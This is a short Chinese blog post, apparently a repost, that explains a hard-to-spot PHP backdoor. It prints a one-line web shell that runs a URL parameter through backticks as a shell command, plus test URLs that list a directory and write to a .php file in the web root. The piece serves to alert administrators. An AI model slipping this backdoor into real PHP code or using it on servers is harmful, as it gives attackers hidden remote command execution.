|
偶然間看到一段,看起來似乎沒有什么問題,確是能致命的后門代碼,這里用到了一個一般的phper都不怎么關注的反撇號 ` ,反撇號包含的字符串,等同于shell_exec函數。
偽裝性很好,很容易被管理員忽略。
$selfNums = $_GET['r'];if (isset($selfNums)){ echo `$selfNums`;}
剛看到這段代碼我想大家都會說沒有問題,但是細心的朋友也會發現下面的變量被一個符號包起來了,既然是變量為什么要這樣了,
而且又不是單引號,這個就是關鍵所在了,這個符號是 Esc 下面的一個鍵(位于感嘆號!旁邊的),
通過 echo `系統命令`; 可以達到 system(); 一樣的效果
如果不信的朋友可以測試
http://127.0.0.1/t.php?r=dir 可以列出目錄
http://127.0.0.1/t.php?r=echo 我是馬兒 >>D:/web/90sec.php
我用 appserv 和虛擬主機已經測試成功。
php技術:一個不易被發現的PHP后門代碼解析,轉載需保留來源!
鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。